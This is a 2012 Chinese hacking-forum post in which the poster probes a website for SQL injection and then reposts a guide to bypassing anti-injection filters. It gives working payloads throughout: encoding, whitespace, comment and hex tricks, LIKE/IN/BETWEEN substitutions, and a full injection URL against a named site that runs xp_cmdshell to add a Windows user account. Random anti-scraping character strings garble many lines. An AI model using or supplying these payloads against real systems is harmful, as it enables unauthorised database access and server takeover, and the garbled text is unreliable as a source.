找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2293|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下.: m: i6 \# l: u+ B
http://www.xxx.cn/Article.asp?ID=117 and 1=10 [2 S. G6 ^9 A: ]6 ]
直接返回主页
% e1 J  I$ K. m5 I$ _http://www.xxx.cn/Article.asp?ID=117 or 1=1" n6 x% o6 h% [6 [3 r/ f
直接返回主页8 q4 m$ ]2 s) [4 L) b
http://www.xxx.cn/Article.asp?ID=117 or1 I2 H' O' B- p- X& I/ \& Z
没有返回主页 没有过滤or
+ q& X  S- a. b; {* Z( J3 F, thttp://www.xxx.cn/Article.asp?ID=117 and
4 L# `5 Y2 O( W+ A; k  h" J+ j' Y直接返回主页 看来过滤了and' \+ B; L# X) p/ U; z# X
http://www.xxx.cn/Article.asp?ID=117 or 1( v3 b- X' D& ~3 l5 C0 E4 D+ ^9 {
没有返回主页 即没有过滤or 也没有过滤14 ?& `8 O* C8 s' X! a
http://www.xxx.cn/Article.asp?ID=117 or 1=1
. [% R8 E# \) [直接返回主页 很明显过滤了等号
) m# ~# C2 \8 q5 I5 [* tor的特性是与and相反的.
# @& Q3 X- e. f. z% P$ p0 n/ k+ [or 1=1 爆错 或与原页面不同3 y7 l6 j$ |# ~
or 1=2 原页面相同" {4 M* e; d( c0 z3 `  ?! |
这样就是一个注入点+ ~6 ]0 F  Z0 T8 Z4 k
但他过滤了=号 我就用><号代替=号吧!$ Z9 x" x1 w2 f. u' x4 X
or 1<2 很明显是正确的,所以应该与原页面不同' W! k9 L$ j% V8 t
or 1>2 很明显是错误的,所以应该与原页面相同
/ F' ?5 O! C3 M/ ]% h3 S然后看看有没有过滤其他的查询语句,比如select.
2 W( v6 w! r& K' E# w, Chttp://www.xxx.cn/Article.asp?ID=117 select( d% q3 H" F; ?4 M, V3 J
直接返回主页. D/ L' e8 {' @3 e
又迷茫了..$ F* j" Y5 s: o/ Z9 G; ~6 `! e9 u
; I' B1 i3 A  E5 @; d5 T
" S: e& I3 d! }) m/ k" i% Q
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
! G  t; @1 G. G+ ]  w& K7 y" r这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)7 T- {3 y0 e2 u' N0 z
================================================& F& M% ]' O) g. h5 T5 e. p
以下是转贴:
  `) r* ^1 z  G& H8 D2 [* T( Q1 i. g3 X  B
( |0 R, g' }. V4 v突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… $ A, r; R8 w' Y, J$ L
经过我的收集,大部分的防注入程序都过滤了以下关键字:
1 |1 c# j: y" X1 m+ t* Q' rand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
+ }" s5 I1 I* F& {+ a0 l% `/ _0 q. D而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 ; X& T& c' }  O& C+ j2 e( `/ E! L
对于关键字的过滤,以下是我收集的以及我个人的一些想法。 & S% ]8 i% W8 x- Z1 J
1、运用编码技术绕过 + W, V3 K  K; ]1 ^, {
如URLEncode编码,ASCII编码绕过。例如or 1=1即 ( L% |' u) R8 D* [! b+ t) Y
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
. Y! l$ J1 O1 t3 i4 J1 w6 @0 p
/ W$ n7 t! H, C5 n% O# t4 J* N2、通过空格绕过 - C+ a* w6 d$ W" M2 y
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 8 J* x; x4 K5 J5 K! U
or’ swords’ =‘swords’
5 _! |$ f% o. ]( Q+ M) t6 D,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
1 ]0 x) E5 T* L/ H3、运用字符串判断代替 0 v7 [' r- {7 i+ a/ p
用经典的or 1=1判断绕过,如 " O) X( F1 o3 Z$ y# F
or ’swords’ =’swords’
' t* S# v8 |% X8 |  X  X7 r6 k,这个方法就是网上在讨论的。 * ]' j) M. l& \$ {4 X
4、通过类型转换修饰符N绕过 - J, |0 w$ g) E( U9 f& j; n$ D
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 5 G% F, f8 @4 ~8 o) Q
5、通过+号拆解字符串绕过 7 Y: e9 l7 c# }' e' r+ M
效果值得考证,但毕竟是一种方法。如 - M/ m0 V" z6 @0 U- y- a
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) " e+ Z/ H4 k( a2 Q/ D

% }! ?8 h& K0 U/ _" r; _6、通过LIKE绕过 ) @: W1 N0 l8 [' Y8 Y  Q$ \
以前怎么就没想到呢?如or ' i, K5 r3 f# C6 n: k
’swords’ LIKE ’sw’ + v5 y% L# C% y6 E
!!!显然可以很轻松的绕过
' [, f: k* Q6 p( {$ x8 K, F, \! J“=”“>” ' W5 r2 B6 P1 o% q% a8 b1 N. j
的限制……
8 E1 ], l: s8 O; l3 D7、通过IN绕过 : c; C- U, I! }$ f& Q4 f& A9 B
与上面的LIKE的思路差不多,如
) n" N- u# ]8 R% H3 A! uor ’swords’ IN (’swords’) 3 g( {% {0 Q( F0 w0 l6 O
0 T, t4 i# D( b1 Z8 R5 v4 L# Q  a: s
8、通过BETWEEN绕过
; N4 N( J, L4 m
# O. A& [7 g- l; j4 i2 L; ior ’swords’ BETWEEN ’rw’ AND ’tw’ ' i# v' i4 k0 \
. j8 k9 E7 Q2 E( v$ i) }
9、通过>或者<绕过 " r# q7 _1 X/ S* x/ E7 T  e
or ’swords’ > ’sw’
6 ]/ _- _+ f6 l2 j4 g' O0 ?or ’swords’ < ’tw’
/ k. t- x* g6 Ror 1<3 , x# @% Y- y; I" ]& D& Z  n- w
……
1 q4 o" S8 `' W! O- Z2 J10、运用注释语句绕过
$ W1 O9 o7 l* i8 _6 B4 _4 v用/**/代替空格,如: 7 s: n! a- |% N
UNION /**/ Select /**/user,pwd,from tbluser
% H& l% g( m2 H4 s8 L2 s" p" n! |& N
用/**/分割敏感词,如:
% E. Z0 c) A, HU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser & [" s6 f, {* w$ F

% a& G" e. E+ s! p11、用HEX绕过,一般的IDS都无法检测出来
6 X8 {/ x3 T$ I4 |9 z3 {; Z, k0x730079007300610064006D0069006E00 =hex(sysadmin)
0 |7 ^& @9 f7 U0 c# u1 ]$ @0x640062005F006F0077006E0065007200 =hex(db_owner)
- s# n3 m9 q# w4 Y$ [, |另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: , k: V/ a3 J- G  n
  declare @a sysname
2 z! \* c$ l# f3 D! m: I$ q6 X  select @a= " A2 w4 @! X0 o" p5 V9 v
  exec master.dbo.xp_cmdshell @a
4 o5 r: R8 f4 D效果 : \  g; B& _( T, u$ \3 j
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- 9 y6 Q( f# O6 A, v/ }. k6 r' ~' j
: P/ [" [$ ?" H: e# E5 b( R
其中的 " C7 r4 G- N+ }. Q! L6 v8 y! A
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 ) h) e& v" [2 K- q
就是
3 N2 i. I$ n$ i) x) y. k“net user angel pass /add”4 D. P7 O% B9 `6 E8 i$ Q6 {/ o
/ r" ~2 p2 j4 t3 Y0 `
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。( O- h; P, T1 q0 l: w
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。: \- p4 J" `4 {
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似! L: T% n, W, G  ]
Copy code( Z6 Z% v. s7 e' I# D4 |0 o  U
select * from table exec xp_cmdshell'xxxxxxxxxx'# c7 R3 J% L) O

) }6 X  T/ d# R4 t1 E* m4 r, l! d! N, ~
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
: f9 [! @: |7 O4 ?* e3 D6 A* ?3 Y1 B1 L/ @0 M: b& D

2 [4 B4 R$ f$ _$ S' uselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
& u6 z* Q! }  E6 h6 `' \1 b
2 E* ~7 A' I# {  V$ k4 J. U3 N
: p$ w; |9 |/ N8 zselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
9 H3 q9 W  S9 `3 g! [# j0 V: F/ ?4 i. t6 G
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?8 w  U( }$ x: d# _/ @

8 t7 E$ n8 z/ T# j这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
" l2 m. K6 X$ q( @: [  L可能大家早就知道了,不管怎么说,发在这里吧!
* g9 T0 ~1 I; R/ b1 }' F
# o! r1 x! a8 B* P( g最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
) {: Z) ~! W9 e/ Z1 B* l# O- _  @: h0 M

2 x! A/ }0 W/ T
2 M( `0 r4 ]! {1 F, _$ U对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
, y+ d- R, m5 }, @比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? " b9 |# T! n5 x2 e+ m  C5 N

- j9 W! y$ A$ i2 k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表